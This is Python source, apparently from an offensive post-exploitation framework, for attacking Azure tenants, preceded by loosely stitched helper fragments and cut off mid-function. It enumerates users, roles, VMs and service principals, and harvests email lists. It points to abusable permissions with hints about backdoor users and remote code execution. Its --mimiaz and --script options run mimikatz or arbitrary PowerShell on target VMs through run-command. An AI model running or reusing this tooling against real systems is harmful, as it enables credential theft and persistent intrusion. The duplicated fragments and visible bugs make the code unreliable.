def call_modules(self): module_logger = CMXLogAdapter(extra={ 'module': self.module.name.upper(), 'host': self.host, 'port': self.args.port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = self.local_ip if hasattr(self.module, 'on_request') or hasattr(self.module, 'has_response'): self.server.connection = self self.server.context.localip = self.local_ip if hasattr(self.module, 'on_login'): self.module.on_login(context, self) if self.admin_privs and hasattr(self.module, 'on_admin_login'): self.module.on_admin_login(context, self) elif hasattr(self.module, 'on_admin_login') and not self.admin_privs: print('') module_logger.announce('Unable to execute module, user must have local admin privileges') print('') if (not hasattr(self.module, 'on_request') and not hasattr(self.module, 'has_response')) and hasattr(self.module, 'on_shutdown'): self.module.on_shutdown(context, self)
def log_message(self, format, *args): server_logger = CMXLogAdapter( extra={ 'module': self.server.module.name.upper(), 'host': self.client_address[0] }) server_logger.info("- - %s" % (format % args))
def proto_logger(self): if os.name == 'nt': self.windows = True self.decoder = 'cp1252' self.logger = CMXLogAdapter(extra={'protocol': 'AZURE', 'host': self.username, 'port': self.domain, 'hostname': 'CLI'})
def proto_logger(self): self.logger = CMXLogAdapter( extra={ 'protocol': 'AZURE', 'host': self.username, 'port': self.domain, 'hostname': 'CLI' })
def proto_logger(self): self.logger = CMXLogAdapter( extra={ 'protocol': 'WinRM', 'host': ('->' + self.host), 'port': self.port, 'hostname': self.hostname })
def proto_logger(self): print('test') self.logger = CMXLogAdapter( extra={ 'protocol': 'WINRM', 'host': self.host, 'port': 'NONE', 'hostname': 'NONE' })
def do_POST(self): if hasattr(self.server.module, 'on_response'): server_logger = CMXLogAdapter( extra={ 'module': self.server.module.name.upper(), 'host': self.client_address[0] }) self.server.context.log = server_logger self.server.module.on_response(self.server.context, self)
def __init__(self, module, context, logger, srv_host, port, server_type='https'): try: threading.Thread.__init__(self) self.server = HTTPServer((srv_host, int(port)), RequestHandler) self.server.hosts = [] self.server.module = module self.server.context = context self.server.log = CMXLogAdapter( extra={ 'module': self.server.module.name.upper(), 'host': '' } ) #blank host set for formatting reasons. without it we dont get the same logging setup self.cert_path = cfg.CERT_PATH self.server.track_host = self.track_host logging.debug('CMX server type: ' + server_type) if server_type == 'https': context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) self.server.socket = ssl.wrap_socket( self.server.socket, certfile=cfg.CERT_PATH, keyfile=cfg.KEY_PATH, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1) except Exception as e: errno, message = e.args if errno == 98 and message == 'Address already in use': logger.error( 'Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port' ) else: logger.error( 'Error starting HTTP(S) server: {}'.format(message)) sys.exit(1)
def init_module(self, module_path): module = None module = self.load_module(module_path) if module: module_logger = CMXLogAdapter( extra={'module': module.name.upper()}) context = Context(self.db, module_logger, self.args) module_options = {} for option in self.args.module_options: key, value = option.split('=', 1) module_options[str(key).upper()] = value module.options(context, module_options) return module
class az(connection): def __init__(self, args, db, host): self.db = db self.args = args self.az_cli = None self.username = '' self.domain = '' self.username_full = '' self.windows = False self.decoder = 'utf-8' if args.config: self.config1() else: self.proto_flow() @staticmethod def proto_args(parser, std_parser, module_parser): azure_parser = parser.add_parser('az', help="owning over azure", parents=[std_parser, module_parser]) azure_parser.add_argument('--full', action='store_true', help='Display full json output for azure commands') azure_parser.add_argument('--save', action='store_true', help='Saves just usernames to a file in current directory when doing user enum') configgroup = azure_parser.add_argument_group("Configure Azure CLI", "Configure the Azure Connection") configgroup.add_argument('--config', action='store_true', help='Setup or re-bind azure connection') #commandgroup = azure_parser.add_argument_group("Command Execution", "Options for executing commands") #commandgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") enumgroup = azure_parser.add_argument_group("Enumeration", "Azure AD Enumeration Commands") enumgroup.add_argument('--user', nargs='?', const='', metavar='USER', help='Enumerate and return all info about a user') enumgroup.add_argument('--users', action='store_true', help='Enumerate and return all users') enumgroup.add_argument('--group', nargs='?', const='', metavar='GROUP', help='Enumerate and return all members of a group') enumgroup.add_argument('--groups', action='store_true', help='Enumerate and return all groups') enumgroup.add_argument('--usergroups', nargs='?', const='', metavar='USERSGROUPS', help='Enumerate and return all groups a user is a member of') enumgroup.add_argument('--whoami', action='store_true', help='Show information about current identity') privgroup = azure_parser.add_argument_group("Privilege Checks", "Get Privs and identify PrivEsc") privgroup.add_argument('--suggest', action='store_true', help='Check for potentially abusable permissions') privgroup.add_argument('--privs', nargs='?', const='', metavar='USER', help='Check current users privileges') resourcegroup = azure_parser.add_argument_group("Resource Checks", "Interact with resources") resourcegroup.add_argument('--rgroups', action='store_true', help='List all Resource Groups for current subscription') sqlgroup = azure_parser.add_argument_group("SQL Commands", "Interact with SQL Servers and DBs") sqlgroup.add_argument('--sql-list', action='store_true', help='List all SQL Servers for current subscription') sqlgroup.add_argument('--sql-db-list', nargs='?', const='', metavar='USER', help='List all SQL DBs for current subscription') storagegroup = azure_parser.add_argument_group("Storage Commands", "Interact with Storage") storagegroup.add_argument('--storage-list', action='store_true', help='List all Storage for current subscription') vmgroup = azure_parser.add_argument_group("VM Checks", "Interact with VMs and VM Scale Sets") vmgroup.add_argument('--vm-list', nargs='?', const='', metavar='TARGET_VM', help='List all VMs for current subscription or target resource group') vmgroup.add_argument('--vmss-list', nargs='?', const='', metavar='TARGET_VMSS', help='List all VM Scale Sets for current subscription or target resource group') scriptgroup = azure_parser.add_argument_group("Script Execution", "Execute Scripts on Azure VMs") scriptgroup.add_argument('--mimiaz', action='store_true', help='Execute mimikats on a target VM') scriptgroup.add_argument('--script', nargs=1, metavar='Full_PATH_TO_SCRIPT', help='Execute Script on a target VM. Use full path to script') scriptgroup.add_argument('--vm', nargs=1, metavar='TARGET_VM', help='Used to specify target for Script Execution') scriptgroup.add_argument('--rg', nargs=1, metavar='RESOURCEGROUP',help='Used to specify target resource group for Script Execution') spngroup = azure_parser.add_argument_group("SPN Checks", "Interact with Service Principals") spngroup.add_argument('--spn-list', action='store_true', help='List all SPNs for current subscription') spngroup.add_argument('--spn-owner-list', action='store_true', help='List all SPNs for current subscription') spngroup.add_argument('--spn-mine', action='store_true', help='List all SPNs owned by current user') spngroup.add_argument('--spn', nargs='?', const='', metavar='OBJECTID', help='List all SPNs for current subscription') appgroup = azure_parser.add_argument_group("App Checks", "Interact with Apps") appgroup.add_argument('--app-list', action='store_true', help='List all Apps for current subscription') return parser def proto_flow(self): self.proto_logger() if self.test_connection(): self.call_cmd_args() def proto_logger(self): if os.name == 'nt': self.windows = True self.decoder = 'cp1252' self.logger = CMXLogAdapter(extra={'protocol': 'AZURE', 'host': self.username, 'port': self.domain, 'hostname': 'CLI'}) def test_connection(self): if os.name == 'nt': self.windows = True self.decoder = 'cp1252' if not cfg.AZ_CONFIG_PATH.is_file(): self.logger.error('Azure connection has not been configured.') self.logger.error('Run: cmx az 1 --config') return False # Grab our user/domain and re-init logger. # Config should have stored this in the config file. f = open(cfg.AZ_CONFIG_PATH,"r") data = f.read() f.close() self.username = data.split()[0].split('@')[0] self.domain = data.split()[0].split('@')[1] self.username_full = data.split()[0] self.proto_logger() self.az_cli = get_default_cli() return True def config1(self): self.proto_logger() login = subprocess.run(['az','login', '--allow-no-subscriptions'], shell = self.windows, stdout=subprocess.PIPE) user = re.findall('([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)', str(login.stdout)) self.logger.success('Logged in as {}'.format(user[0])) #maybe not working print(" ") subs_resp = subprocess.run(['az','account', 'list', '--query', '[].{SubscriptionName:name, Id:id, TenantId:tenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) roles_resp = subprocess.run(['az','role', 'assignment', 'list', '--all', '--query', "[?principalName=='$User'].{Role:roleDefinitionName,ResoureGroup:resourceGroup}" ], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #Show subs try: subs_resp_json = json.loads(subs_resp.stdout.decode(self.decoder)) #print("subs: {}".format(subs_resp_json)) print("Current user has the following subscriptions:") print("{:<14}{:<22} {}".format('','TenantId','SubscriptionName')) for sub in subs_resp_json: print("{:<36} | {}".format(sub['TenantId'],sub['SubscriptionName'])) except: #self.logger.error("Current user has no subscriptions") pass # Show roles print("") try: roles_resp_json = json.loads(roles_resp.stdout.decode(self.decoder)) print("And the following roles: {}".format(roles_resp_json)) except: self.logger.error("Current user has no roles") pass if not cfg.AZ_PATH.is_dir(): cfg.AZ_PATH.mkdir(parents=True, exist_ok=True) f = open(cfg.AZ_CONFIG_PATH,"w") f.write("{}".format(user[0])) f.close() print('') print(" Azure Services now configured, Go get em tiger") print('') def call_cmd_args(self): for k, v in list(vars(self.args).items()): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: logging.debug('Calling {}()'.format(k)) getattr(self, k)() def execute(self, command): try: result = self.az_cli.invoke(command) return { 'result': result.result, 'error': None } except CLIError as err: return { 'result': None, 'error': err.args } ############################################################################### # ###### ####### # # # # # # # # # # # ## # # # ## ## # # # # # # # # # # # # # # # # # # ##### ##### # # # # # # # # ####### # # # # # # # # # # # # # # # # ## # # # # # # ###### ####### # # ##### # # ############################################################################### ############################################################################### # Network/Domain Enum functions # # This section: # # # # # (fold next line) ############################################################################### def whoami(self): my_user_id = subprocess.run(['az','ad', 'signed-in-user', 'show'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: #my_user_id_json = json.loads(my_user_id.stdout.decode('utf-8')) my_user_id_json = json.loads(my_user_id.stdout.decode(self.decoder)) except: self.logger.error("Have you setup a session? cmx az --config") return self.logger.announce("Getting User Info") if self.args.full: pprint.pprint(my_user_id_json) else: self.logger.highlight("{:>26} {}".format('userPrincipalName: ', my_user_id_json['userPrincipalName'])) self.logger.highlight("{:>26} {}".format('mail: ', my_user_id_json['mail'])) self.logger.highlight("{:>26} {}".format('mailNickname: ', my_user_id_json['mailNickname'])) self.logger.highlight("{:>26} {}".format('TelephoneNumber: ', my_user_id_json['telephoneNumber'])) self.logger.highlight("{:>26} {}".format('objectId: ', my_user_id_json['objectId'])) self.logger.highlight("{:>26} {}".format('SID: ', my_user_id_json['onPremisesSecurityIdentifier'])) self.logger.highlight("{:>26} {}".format('isCompromised: ', my_user_id_json['isCompromised'])) def user(self): if self.args.user == '': self.logger.announce("No user specified, calling whoami") self.whoami() return user_id = subprocess.run(['az','ad', 'user', 'show', '--id', self.args.user], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: user_id_json = json.loads(user_id.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return self.db.add_user(user_id_json) plans = [] for plan in user_id_json["assignedPlans"]: plans.append(plan["service"]) self.logger.announce("Getting User Info") if self.args.full: pprint.pprint(user_id_json) else: self.logger.highlight("{:<26} {}".format('userPrincipalName: ', user_id_json['userPrincipalName'])) self.logger.highlight("{:<26} {}".format('mail: ', user_id_json['mail'])) self.logger.highlight("{:<26} {}".format('mailNickname: ', user_id_json['mailNickname'])) self.logger.highlight("{:<26} {}".format('TelephoneNumber: ', user_id_json['telephoneNumber'])) self.logger.highlight("{:<26} {}".format('objectId: ', user_id_json['objectId'])) self.logger.highlight("Plan Memberships: {}".format(plans)) self.logger.highlight("{:<26} {}".format('SID: ', user_id_json['onPremisesSecurityIdentifier'])) self.logger.highlight("{:<26} {}".format('isCompromised: ', user_id_json['isCompromised'])) def usergroups(self): users_groups = subprocess.run(['az','ad', 'user', 'get-member-groups', '--id', self.args.usergroups], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: users_groups_json = json.loads(users_groups.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(users_groups_json) def users(self): self.logger.announce("Getting all users info, this might take a minute") user_id = subprocess.run(['az','ad', 'user', 'list'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: user_id_json = json.loads(user_id.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return try: for user1 in user_id_json: self.db.add_user(user1) except: self.logger.error("add user error tracebak:") self.logger.error(format_exc()) # Do we save usernames if self.args.save: filename = "{}-users.txt".format(self.domain) savefile = open(filename,"w") if self.args.full: pprint.pprint(user_id_json) else: usercount = 0 for user1 in user_id_json: if user1['isCompromised'] == None: comp = 'No' else: comp = 'Yes' if self.args.save: savefile.write("{}\n".format(user1['mail'])) usercount = usercount + 1 self.logger.highlight("{:<36} id:{} compromised:{} ".format(user1['userPrincipalName'], user1['objectId'], comp)) if self.args.save: savefile.close() self.logger.success("Email addresses saved to: {}".format(filename)) self.logger.success("Total Users Found: {}".format(usercount)) self.logger.success("All user info complete. Check the db for more details") def group(self): if self.args.group == '': self.logger.error('Must provide a group name or objectID') return group_list = subprocess.runsubprocess.run(['az','ad', 'group', 'member', 'list', '--group', self.args.group ], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: group_list_json = json.loads(group_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(group_list_json) def groups(self): group_list = subprocess.runsubprocess.run(['az','ad', 'group', 'list', '--query', '[].{display_name:displayName, description: description, object_id: objectId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: group_list_json = json.loads(group_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(group_list_json) ############################################################################### ###### ###### ### # # ####### ##### ##### # # # # # # # # # # # # # # # # # # # # # # ###### ###### # # # ##### ##### # # # # # # # # # # # # # # # # # # # # # # # # ### # ####### ##### ##### ############################################################################### ############################################################################### # # # # ############################################################################### def suggest(self): # Grab user UPN self.logger.announce("Function is a work-in-progress, try running --privs to see current privileges") upn_resp = subprocess.run(['az', 'ad', 'signed-in-user', 'show','--query', '{upn:userPrincipalName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) upn_json_obj = json.loads(upn_resp.stdout.decode(self.decoder)) upn = upn_json_obj['upn'] logging.debug('upn: {}'.format(upn)) # GetCurrent users roles role_resp = subprocess.run(['az', 'role', 'assignment', 'list', '--assignee', upn, '--query', '[].{roleDefinitionName:roleDefinitionName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: role_json_obj = json.loads(role_resp.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return role_list = [] for role in role_json_obj: role_list.append(role["roleDefinitionName"]) if(len(role_list) == 0): self.logger.error("No roles found") return self.logger.success("Found roles for current user!") # Get definitions for each role tmp_list_perms = [] for role in role_list: role_show = subprocess.run(['az', 'role', 'definition', 'list', '--name', role], shell = self.windows, stdout=subprocess.PIPE) role_show_json = json.loads(role_show.stdout.decode(self.decoder)) tmp_list_perms.append(role_show_json[0]['permissions'][0]['actions'][0]) all_permissions = [item for sublist in tmp_list_perms for item in sublist] self.check_perms(all_permissions) def check_perms(self, permissions): self.logger.announce("Getting potentially abusable global permissions") for perm in permissions: if("*" in perm): self.logger.highlight("Found permission with * - should investigate: {}".format(perm)) elif("write" in perm): self.logger.highlight(" found permission with write - should investigate: {}".format(perm)) elif("create" in perm): self.logger.highlight(" found permission with create - should investigate: {}".format(perm)) elif("delete" in perm): self.logger.highlight(" found permission with delete - should investigate: {}".format(perm)) self.logger.announce("Checking for specific permissions") for perm in permissions: if("Microsoft.Authorization/*" in perm): self.logger.highlight("Current user has permission to do all authorizations actions to resources - consider RBAC manipulation and adding a backdoor AD user") if("Microsoft.Authorization/*/read" in perm): self.logger.highlight("Current user has permission to read all authorizations - consider running the priv domain enum module") if("Microsoft.Compute/*" in perm): self.logger.highlight("Current user has permission to run all operations for all resource types - consider using the exfil modules") if("Microsoft.Compute/*/read" in perm): self.logger.highlight("Current user has permission to read all compute related resources - consider using the various 'list' modules") if("Microsoft.Support/*" in perm): self.logger.highlight("Current user has permission to issue and submit support tickets") if("Microsoft.Resources/*" in perm): self.logger.highlight("Current user has permission to run all Microsoft.Resources related commands") elif("Microsoft.Resources/deployments/*" in perm): self.logger.highlight("Current user has permission to run all deployment related commands") elif("Microsoft.Resources/deployments/subscriptions/*" in perm): self.logger.highlight("Current user has permission to run all subscription related commands") if("Microsoft.Network/*" in perm): self.logger.highlight("Current user has permission to run all networking related commands - consider running the net modules") elif("Microsoft.Network/networkSecurityGroups/*" in perm): self.logger.highlight("Current user has permission to run all nsg related commands - consider running the nsg backdoor module") elif("Microsoft.Network/networkSecurityGroups/join/action" in perm): self.logger.highlight("Current user has permission to join a network security group ") if("Microsoft.Compute/virtualMachines/*" in perm): self.logger.highlight("Current user has permission to run virtual machine commands - consider running the various vm modules ") elif("Microsoft.Compute/virtualMachines/runCommand/action" in perm or "Microsoft.Compute/virtualMachines/runCommand/*" in perm): self.logger.highlight("Current user has permission to run the runCommand virtual machine command - consider running the vm_rce ") if("Microsoft.Compute/virtualMachinesScaleSets/*" in perm): self.logger.highlight("Current user has permission to run virtual machine scale set commands - consider running the various vmss modules ") elif("Microsoft.Compute/virtualMachinesScaleSets/runCommand/action" in perm or "Microsoft.Compute/virtualMachines/runCommand/*" in perm): self.logger.highlight("Current user has permission to run the runCommand virtual machine scale set command - consider running the vmss_rce ") if("Microsoft.Storage/*" in perm or "Microsoft.Storage/storageAccounts/*" in perm): self.logger.highlight("Current user has permission to run all storage account commands - consider running the various stg modules ") elif("Microsoft.Storage/storageAccounts/blobServices/containers/*" in perm): self.logger.highlight("Current user has permissions to run all storage account container commands - consider running the various stg modules ") elif("Microsoft.Storage/storageAccounts/listKeys/action" in perm): self.logger.highlight("Current user has permission to read storage account keys - consider running the stg blob scan/download modules ") if("Microsoft.Sql/*" in perm): self.logger.highlight("Current user has permission to run all sql commands - consider running the various sql modules ") elif("Microsoft.Sql/servers/*" in perm): self.logger.highlight("Current user has permission to run all sql server commands - consider running the sql server list or the sql backdoor firewall modules ") elif("Microsoft.Sql/servers/databases/*" in perm): self.logger.highlight("Current user has permission to run all sql database commands - consider running the sql db list ") def privs(self): # Grab user UPN #az ad signed-in-user show #az ad user show --id XXXX logging.debug("Starting privs") if self.args.privs == '': upn_resp = subprocess.run(['az', 'ad', 'signed-in-user', 'show','--query', '{upn:userPrincipalName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) else: upn_resp = subprocess.run(['az','ad', 'user', 'show', '--id', self.args.privs, '--query', '{upn:userPrincipalName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: upn_json_obj = json.loads(upn_resp.stdout.decode(self.decoder)) upn = upn_json_obj['upn'] logging.debug("upn {}".format(upn)) except: self.logger.error("Current user has no subscriptions") return # Get target user's roles # az role assignment list --assignee XXX role_resp = subprocess.run(['az', 'role', 'assignment', 'list', '--assignee', upn], shell = self.windows, stdout=subprocess.PIPE) try: role_json_obj = json.loads(role_resp.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return role_list = [] for role in role_json_obj: logging.debug("role found: {}".format(role["roleDefinitionName"])) role_list.append(role["roleDefinitionName"]) if(len(role_list) == 0): self.logger.error("No roles found") return self.logger.success("Roles Found!") if self.args.full: pprint.pprint(role_json_obj) return self.logger.highlight("{:<20} | {}".format(' Role', ' Scope')) for role in role_json_obj: self.logger.highlight("{:<20} | {}".format(role['roleDefinitionName'], role['scope'])) # What do roles mean? self.logger.success("Info about Roles") self.logger.highlight("{:<20} | {}".format(' Role', ' Description')) for role in role_list: #print(role.upper()) #role_show = subprocess.run(['az', 'role', 'definition', 'list', '--name', role, '--query', '[].{actions:permissions[].actions[], dataActions:permissions[].dataActions[], notActions:permissions[].notActions[], notDataActions:permissions[].notDataActions[]}'], shell = self.windows, stdout=subprocess.PIPE) role_show = subprocess.run(['az', 'role', 'definition', 'list', '--name', role], shell = self.windows, stdout=subprocess.PIPE) role_show_json = json.loads(role_show.stdout.decode(self.decoder)) for role in role_show_json: self.logger.highlight("{:<20} | {} ".format(role['roleName'], (role['description'][:58] + (role['description'][58:] and '..')) )) ############################################################################### ###### ####### ##### ####### # # ###### ##### ####### # # # # # # # # # # # # # # # # # # # # # # # # # # ###### ##### ##### # # # # ###### # ##### # # # # # # # # # # # # # # # # # # # # # # # # # # # # ####### ##### ####### ##### # # ##### ####### ############################################################################### ############################################################################### # # # # ############################################################################### def rgroups(self): # az group list --query rgroup = subprocess.run(['az','group', 'list', '--query', '[].{name:name, location: location, id: id}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: rgroup_json = json.loads(rgroup.stdout.decode(self.decoder)) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(rgroup_json) ############################################################################### ##### ##### # # # # # # # # # # ##### # # # # # # # # # # # # # ##### #### # ####### ############################################################################### ############################################################################### # # # # ############################################################################### def sql_list(self): # Get server list # az sql server list sql_info = subprocess.run(['az', 'sql', 'server', 'list', '--query', '[].{fqdn:fullyQualifiedDomainName, name:name, rgrp: resourceGroup, admin_username:administratorLogin} '], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: sql_info_json = json.loads(sql_info.stdout.decode(self.decoder)) except: self.logger.error("Current user has no SQL subscriptions") return pprint.pprint(sql_info_json) def sql_db_list(self): # Get server list # az sql server list sql_info = subprocess.run(['az', 'sql', 'server', 'list', '--query', '[].{name:name, rgrp: resourceGroup} '], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: sql_info_json = json.loads(sql_info.stdout.decode(self.decoder)) except: self.logger.error("Current user has no SQL subscriptions") return servers = [] rgrps = [] for info in sql_info_json: servers.append(info['name']) rgrps.append(info['rgrp']) pprint.pprint(rgroup_json) # Get DBs # az sql db list --server XXX --resource-group XXX for i in range(len(servers)): sql_info = subprocess.run(['az', 'sql', 'db', 'list', '--server', servers[i], '--resource-group', rgrps[i], '--query', '[].{collation:collation, name:name, location:location, dbId:databaseId}'], shell = self.windows, stdout=subprocess.PIPE) sql_info_json = json.loads(sql_info.stdout.decode(self.decoder)) print(servers[i], "\n") pprint.pprint(sql_info_json) ############################################################################### ##### ####### ####### ###### # ##### ####### # # # # # # # # # # # # # # # # # # # # # # ##### # # # ###### # # # #### ##### # # # # # # ####### # # # # # # # # # # # # # # # ##### # ####### # # # # ##### ####### ############################################################################### ############################################################################### # # # # ############################################################################### def storage_list(self): # az storage account list stg_list = subprocess.run(['az','storage', 'account', 'list', '--query', '[].{resource_group:resourceGroup, storage_types:primaryEndpoints}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: stg_list_json = json.loads(stg_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no Storage subscriptions") return pprint.pprint(stg_list_json) ############################################################################### # # # # # # ## ## # # # # # # # # # # # # # # # # # # # # # # ############################################################################### ############################################################################### # # # # ############################################################################### def vm_list(self): # Get all vms in subscription # az vm list if self.args.vm_list == '': vm_list = subprocess.run(['az','vm', 'list', '--query', '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: vm_list_json = json.loads(vm_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return # az vm list-ip-addresses vm_iplist = subprocess.run(['az','vm', 'list-ip-addresses', '--query', '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}'], shell = self.windows, stdout=subprocess.PIPE) try: vm_iplist_json = json.loads(vm_iplist.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return else: # Get all vms in specified resource group # az vm list -g XXX vm_list = subprocess.run(['az','vm', 'list', '-g', self.args.vm_list, '--query', '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE) try: vm_list_json = json.loads(vm_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return # az vm list-ip-addresses -g XXX vm_iplist = subprocess.run(['az','vm', 'list-ip-addresses', '-g', self.args.vm_list, '--query', '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}'], shell = self.windows, stdout=subprocess.PIPE) try: vm_iplist_json = json.loads(vm_iplist.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return #combine vm info for i in range(len(vm_list_json)): vm_list_json[i].update(vm_iplist_json[i]) if self.args.full: pprint.pprint(vm_list_json) return self.logger.highlight("{:<15} {:<10} {:<19} {:<19} {:<19} ".format('Name', 'os', 'privateIp', 'publicIp', 'ResourceGroup')) for vm in vm_list_json: self.logger.highlight("{:<15} | {:<10} | {:<19} | {:<19} | {:<19} ".format(vm['name'], vm['os'], vm['privateIp'][0] if vm['privateIp'] else 'Null', vm['publicIp'][0] if vm['publicIp'] else 'Null', vm['resource_group'], )) # to see if its running, check the output from # az vm get-instance-view --ids /subscriptions/51eae010-e6eb-48e2-8f01-e89b22a86d26/resourceGroups/RESOURCE1/providers/Microsoft.Compute/virtualMachines/test1 #"statuses": [ # { # "code": "ProvisioningState/succeeded", # "displayStatus": "Provisioning succeeded", # "level": "Info", # "message": null, # "time": "2019-12-19T22:49:17.337039+00:00" # }, # { # "code": "PowerState/deallocated", # "displayStatus": "VM deallocated", # "level": "Info", # "message": null, # "time": null # } # ], def vmss_list(self): # Get list of vmss # az vmss list vmss_list = subprocess.run(['az','vmss', 'list', '--query', '[].{name:name, rgrp:resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: vmss_list_json = json.loads(vmss_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return for i in range(len(vmss_list_json)): # Get vmss info vmss_list = subprocess.run(['az','vmss', 'list', '--resource-group', vmss_list_json[i]['rgrp'], '--query', '[].{name:name, vmss_size:sku.name, os_distro:virtualMachineProfile.storageProfile.imageReference.offer,os_version:virtualMachineProfile.storageProfile.imageReference.sku, username:virtualMachineProfile.osProfile.adminUsername, rgrp: resourceGroup}'], shell = self.windows, stdout=subprocess.PIPE) vmss_list_json = json.loads(vmss_list.stdout.decode(self.decoder)) pprint.pprint(vmss_list_json[i]) # Get vmss IP vmss_iplist = subprocess.run(['az','vmss', 'list-instance-public-ips', '--resource-group', vmss_list_json[i]['rgrp'], '--name', vmss_list_json[i]['name'], '--query', '[].{ipAddress:ipAddress}'], shell = self.windows, stdout=subprocess.PIPE) vmss_iplist_json = json.loads(vmss_iplist.stdout.decode(self.decoder)) pprint.pprint(vmss_iplist_json) ############################################################################### ##### ##### ###### ### ###### ####### # # # # # # # # # # # # # # # # # # ##### # ###### # ###### # # # # # # # # # # # # # # # # # ##### ##### # # ### # # ############################################################################### ############################################################################### # # # # ############################################################################### def mimiaz(self): # testing with just running coffee # need to figure out how we gonna get output back - limited to 4096 this way... if self.args.mimiaz and (self.args.vm is None or self.args.rg is None): self.logger.error("mimiaz requires --vm and --rg.") self.logger.error("Try `cmx az --vm-list` to find values") return mimiaz_path = cfg.PS_PATH / 'mimiaz.ps1' mimiaz_script = '@' + str(mimiaz_path) self.logger.announce("Running mimikatz on {}, please allow at least 30 seconds".format(self.args.vm[0])) commander = subprocess.run(['az','vm', 'run-command', 'invoke', '--command-id', 'RunPowerShellScript', '--name', self.args.vm[0], '-g', self.args.rg[0], '--scripts', mimiaz_script], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: commander_json = json.loads(commander.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return if self.args.full: pprint.pprint(commander_json) else: print(commander_json['value'][0]['message']) def script(self): # need to figure out how we gonna get output back - limited to 4096 this way... if self.args.vm is None or self.args.rg is None: self.logger.error("script execution requires a --vm and --rg.") self.logger.error("Try `cmx az --vm-list` to find values") return if Path(self.args.script[0]).is_file(): script_path = '@' + self.args.script[0] else: self.logger.error("Script not found at {}".format(self.args.script[0])) return self.logger.announce("Running script on {}, please allow at least 30 seconds".format(self.args.vm[0])) commander = subprocess.run(['az','vm', 'run-command', 'invoke', '--command-id', 'RunPowerShellScript', '--name', self.args.vm[0], '-g', self.args.rg[0], '--scripts', script_path], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: commander_json = json.loads(commander.stdout.decode(self.decoder)) except: self.logger.error("Script Execution Failed") return if self.args.full: pprint.pprint(commander_json) else: print(commander_json['value'][0]['message']) ############################################################################### ##### ###### # # # # # # ## # # # # # # # ##### ###### # # # # # # # # # # # # ## ##### # # # ############################################################################### ############################################################################### # # # # ############################################################################### def spn_list(self): # az ad sp list --all spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId, publisherName:publisherName}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return self.logger.announce("Getting SPN Info") if self.args.full: pprint.pprint(spn_list_json) else: self.logger.highlight("{:<40} | {:<32} | {:<32} | publisherName".format(' associated-app', ' appId', ' appOwnerTenantId')) for spn in spn_list_json: if spn['appDisplayName'] and spn['appId']: self.logger.highlight("{:<40} | {} | {} | {}".format((spn['appDisplayName'][:37] + (spn['appDisplayName'][37:] and '..')), spn['appId'], spn['appOwnerTenantId'], spn['publisherName'])) def spn_owner_list(self): # az ad sp list --all spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId}'], shell = 